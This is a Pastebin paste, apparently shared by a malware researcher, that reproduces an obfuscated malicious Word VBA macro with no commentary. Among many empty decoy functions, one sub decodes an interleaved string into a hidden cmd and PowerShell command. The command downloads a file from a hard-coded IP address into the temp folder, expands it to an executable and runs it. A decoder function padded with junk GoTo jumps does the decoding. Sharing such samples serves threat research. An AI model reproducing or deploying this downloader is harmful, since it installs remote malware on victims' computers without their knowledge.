Advertisement
dynamoo

Malicious Word macro

Feb 19th, 2015
593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Private Function iEdjfqtIefpyt()
  2.  
  3. End Function
  4. Public Sub atndIQRPUGz()
  5.  
  6. End Sub
  7. Private Sub xMQTKkzscJ()
  8.  
  9. End Sub
  10. Public Function NcmHUHuUrqSA()
  11.  
  12. End Function
  13. Public Function hHSMfczUtlht()
  14.  
  15. End Function
  16. Public Sub irPJnpVqv()
  17.  
  18. End Sub
  19. Public Function iihlIPQBNNdhkcA()
  20.  
  21. End Function
  22. Public Sub adxaespYl()
  23.  
  24. End Sub
  25. Private Function uGjCiFY()
  26.  
  27. End Function
  28. Private Function dvfBlwB()
  29.  
  30. End Function
  31. Private Function pxyHg()
  32.  
  33. End Function
  34. Public Sub msLTJpkljoZ()
  35.  
  36. End Sub
  37. Private Sub feukmeDgKIr()
  38.  
  39. End Sub
  40. Public Sub hvFonbbC()
  41.  
  42. End Sub
  43. Private Sub SyQoAomgyv()
  44.  
  45. End Sub
  46. Public Sub SOarsNOZwdGVC()
  47.  
  48. End Sub
  49. Public Sub aFABzEp()
  50.  
  51. End Sub
  52. Public Sub vgwADuTwbLHvQG()
  53.  
  54. End Sub
  55. Private Function EEreEboCjBnrQEC()
  56.  
  57. End Function
  58. Private Function iEdjfqtIefpytnFatndIQRPUGzGl()
  59.  
  60. End Function
  61. Private Function QTKkzscJMhJNc()
  62.  
  63. End Function
  64. Private Sub HuUrqSARDHhHSM()
  65.  
  66. End Sub
  67.  
  68.  
  69. ---------------------------------------
  70.  
  71. Private Sub StPOrZ()
  72.  
  73. End Sub
  74. Public Sub FgrlDAtRJFRjxSGPniLNu()
  75.  
  76. End Sub
  77. Private Function RxGGEhovammBFIAZo()
  78.  
  79. End Function
  80. Private Function BVyCQMwJjj()
  81.  
  82. End Function
  83. Private Function HbGewV()
  84.  
  85. End Function
  86. Private Function TDaJUaQizN()
  87.  
  88. End Function
  89. Private Sub EyceKQ()
  90.  
  91. End Sub
  92. Private Function NIJHMx()
  93.  
  94. End Function
  95. Private Function CCSIK()
  96.  
  97. End Function
  98. Public Sub KIrfzq()
  99.  
  100. End Sub
  101. Public Function onbbCKQzSyQ()
  102.  
  103. End Function
  104. Public Function mgyvRBMS()
  105.  
  106. End Function
  107. Public Function sNOZwdGV()
  108.  
  109. End Function
  110. Public Function kaFAB()
  111.  
  112. End Function
  113. Public Sub jqTvgwAD()
  114.  
  115. End Sub
  116. Private Sub bLHvQGxLV()
  117.  
  118. End Sub
  119.  
  120. ---------------------------------------
  121.  
  122. Private Function vammBFIA()
  123.  
  124. End Function
  125. Private Sub QyBVyC()
  126.  
  127. End Sub
  128. Public Sub JjjKSfHbG()
  129.  
  130. End Sub
  131. Private Function wHBTDaJUaQizNVQ()
  132.  
  133. End Function
  134. Public Function ceKQksiNIJ()
  135.  
  136. End Function
  137. Private Function ELcCCSIKCc()
  138.  
  139. End Function
  140. Private Function ODYOFS()
  141.  
  142. End Function
  143. Private Function zzbjvYrQuMZMK()
  144.  
  145. End Function
  146. Public Function qalqnyPQmnwUBf()
  147.  
  148. End Function
  149. Public Function AIyeZa()
  150.  
  151. End Function
  152. Public Function GOsTEUZbSsUzk()
  153.  
  154. End Function
  155. Private Function fVkuddPC()
  156.  
  157. End Function
  158. Public Sub bHZLPpdbUnkGd()
  159.  
  160. End Sub
  161.  
  162. ---------------------------------------
  163.  
  164. Sub vgfhGGGgfhhdfh()
  165. kggTUI6FREGfdg = esardhHvsmEBZuSZUhk("com`dX o/+KH qPYolw5e+rdSghBeilslƒ.neGxYeZ V(`N)e6wD-~O3b1jPeWc]tM }S6y(smtJeOmv.INRemtf.EW_e,b,C`lqi%e[ntY)#.FDxoFw\nPlsoSad_Ftilxe*(K'hhvtyt'pU:K/ƒ/#8b5n./1>4*3g.^1_6\6e.H1U2c3ƒ/SsQspd]ybnRa‚mVo-o)sjsT/|sisWpri†deadrKsLs€.-cEa{b='y,C'e%}TfEaMUPx%s\:Fg0d;g4FJFkFmg2f5gGFt.Pc$aCb'))N;^ Je†x}p~a{n…dh Z%hT?ErMVPu%|\‚Frg>dugMF.F&Ftg7f%gwF..Ac„a„bk Q%…TLEdM€P\%~\cFjg8d…g€FuF4F.gZf„gOF[.Sejxpe(;Q TsftyaorDtb †%ITnEcMOP(%9\:F7g@d$gzF$F^Fwgvf1g8F=.-e]xzel;N")
  166. Shell kggTUI6FREGfdg, vbHide
  167. End Sub
  168.  
  169. ---------------------------------------
  170.  
  171. Public Sub SMfczUtlhtKZ()
  172.  
  173. End Sub
  174. Public Sub PJnpVqvD()
  175.  
  176. End Sub
  177. Public Function ihlIPQ()
  178.  
  179. End Function
  180. Public Function dhkcAPIsadxae()
  181.  
  182. End Function
  183. Private Sub lKKmuGjCiFYxYjd()
  184.  
  185. End Sub
  186. Public Sub lwByJbpxyH()
  187.  
  188. End Sub
  189. Public Function FmsLTJpkljo()
  190.  
  191. End Function
  192. Private Sub Dfeukme()
  193.  
  194. End Sub
  195. Private Function IrfzqhvFonbb()
  196.  
  197. End Function
  198. Public Sub zSyQoAomgyvRBMSarsNOZwdGVCJc()
  199.  
  200. End Sub
  201. Private Sub ABzEpjqTvgw()
  202.  
  203. End Sub
  204. Private Function TwbLHvQGx()
  205.  
  206. End Function
  207. Public Sub EreEboCjBnr()
  208.  
  209. End Sub
  210.  
  211.  
  212. ---------------------------------------
  213.  
  214.  
  215. Public Sub pqoteY()
  216.  
  217. End Sub
  218. Public Function UlpsjIYQAikFimA()
  219.  
  220. End Function
  221. Public Sub gStPOrZqc()
  222.  
  223. End Sub
  224. Private Function rlDAQt()
  225.  
  226. End Function
  227. Public Sub RjxSGPniLNu()
  228.  
  229. End Sub
  230. Private Function RxGGE()
  231.  
  232. End Function
  233. Private Function vammBFIAohQyBVyCQMwJjjK()
  234.  
  235. End Function
  236. Private Function bGewVwHBTDaJ()
  237.  
  238. End Function
  239. Public Function izNVQgEyceKQksi()
  240.  
  241. End Function
  242. Public Sub HMxELcCCSIKC()
  243.  
  244. End Sub
  245. Private Function hODYOFS()
  246.  
  247. End Function
  248. Private Sub zzbjvYrQuMZMKQTqalqnyPQm()
  249.  
  250. End Sub
  251. Private Function BfubhAIyeZaYdN()
  252.  
  253. End Function
  254. Private Sub TEUZbSsUz()
  255.  
  256. End Sub
  257. Private Sub pfVkuddPCdzMbH()
  258.  
  259. End Sub
  260. Public Function pdbUnkGdBHDOR()
  261.  
  262. End Function
  263. Private Function NQRvKeyQLAh()
  264.  
  265. End Function
  266. Public Sub teYfIVUl()
  267.  
  268. End Sub
  269.  
  270.  
  271. ---------------------------------------
  272.  
  273.  
  274. Public Function esardhHvsmEBZuSZUhk(CDNQRvKeyQ As String) As String
  275. GoTo IYQAikFi
  276. IYQAikFi:
  277. GoTo KftgStPOrZqcg
  278. KftgStPOrZqcg:
  279. GoTo rlDAQtR
  280. rlDAQtR:
  281. For AhpqoteYfIVUlp = 1 To Len(CDNQRvKeyQ) Step 2
  282. GoTo jxSGPniLNuOTcRxGGE
  283. jxSGPniLNuOTcRxGGE:
  284. GoTo ovammBF
  285. ovammBF:
  286. GoTo ZohQyBVyCQMwJ
  287. ZohQyBVyCQMwJ:
  288. GoTo KSfHbGe
  289. KSfHbGe:
  290. GoTo wHBTDaJUaQizNVQgEyce
  291. wHBTDaJUaQizNVQgEyce:
  292. esardhHvsmEBZuSZUhk = esardhHvsmEBZuSZUhk & Mid(CDNQRvKeyQ, AhpqoteYfIVUlp, 1)
  293. GoTo siNIJHMx
  294. siNIJHMx:
  295. GoTo cCCSIKCcEjhODYOF
  296. cCCSIKCcEjhODYOF:
  297. GoTo MLzzbj
  298. MLzzbj:
  299. GoTo rQuMZMKEQTqalqnyPQmn
  300. rQuMZMKEQTqalqnyPQmn:
  301. GoTo BfubhAIyeZaYdNGOsTE
  302. BfubhAIyeZaYdNGOsTE:
  303. GoTo bSsUzkgTpfVkuddPCdzM
  304. bSsUzkgTpfVkuddPCdzM:
  305. Next
  306. GoTo LPpdbUnkGdBHDORhCDNQ
  307. LPpdbUnkGdBHDORhCDNQ:
  308. GoTo KeyQLAhpqot
  309. KeyQLAhpqot:
  310. GoTo fIVUlpsjIYQAikFimAKf
  311. fIVUlpsjIYQAikFimAKf:
  312. GoTo StPOrZq
  313. StPOrZq:
  314. GoTo FgrlDA
  315. FgrlDA:
  316. End Function
  317.  
  318. ---------------------------------------
  319.  
  320.  
  321. Public Function qvDtZiihlIPQBNN()
  322.  
  323. End Function
  324. Public Sub cAPIsad()
  325.  
  326. End Sub
  327. Private Function spYlKK()
  328.  
  329. End Function
  330. Public Function jCiFYxYjdvfB()
  331.  
  332. End Function
  333. Public Function yJbpxyHgbDF()
  334.  
  335. End Function
  336. Private Sub TJpkljoZgnDfe()
  337.  
  338. End Sub
  339. Public Function eDgKIrf()
  340.  
  341. End Function
  342. Private Function vFonbb()
  343.  
  344. End Function
  345. Public Function zSyQoAomgyvRBMS()
  346.  
  347. End Function
  348. Private Sub sNOZwdGVJckaFABzEpj()
  349.  
  350. End Sub
  351. Private Function gwADuTwbL()
  352.  
  353. End Function
  354. Private Sub GxLVEEreEboCjB()
  355.  
  356. End Sub
  357. Private Sub ECwOLiEdjfqtIe()
  358.  
  359. End Sub
  360. Private Sub tQnFatndIQ()
  361.  
  362. End Sub
  363. Private Sub GzGlxxMQTKkzscJ()
  364.  
  365. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement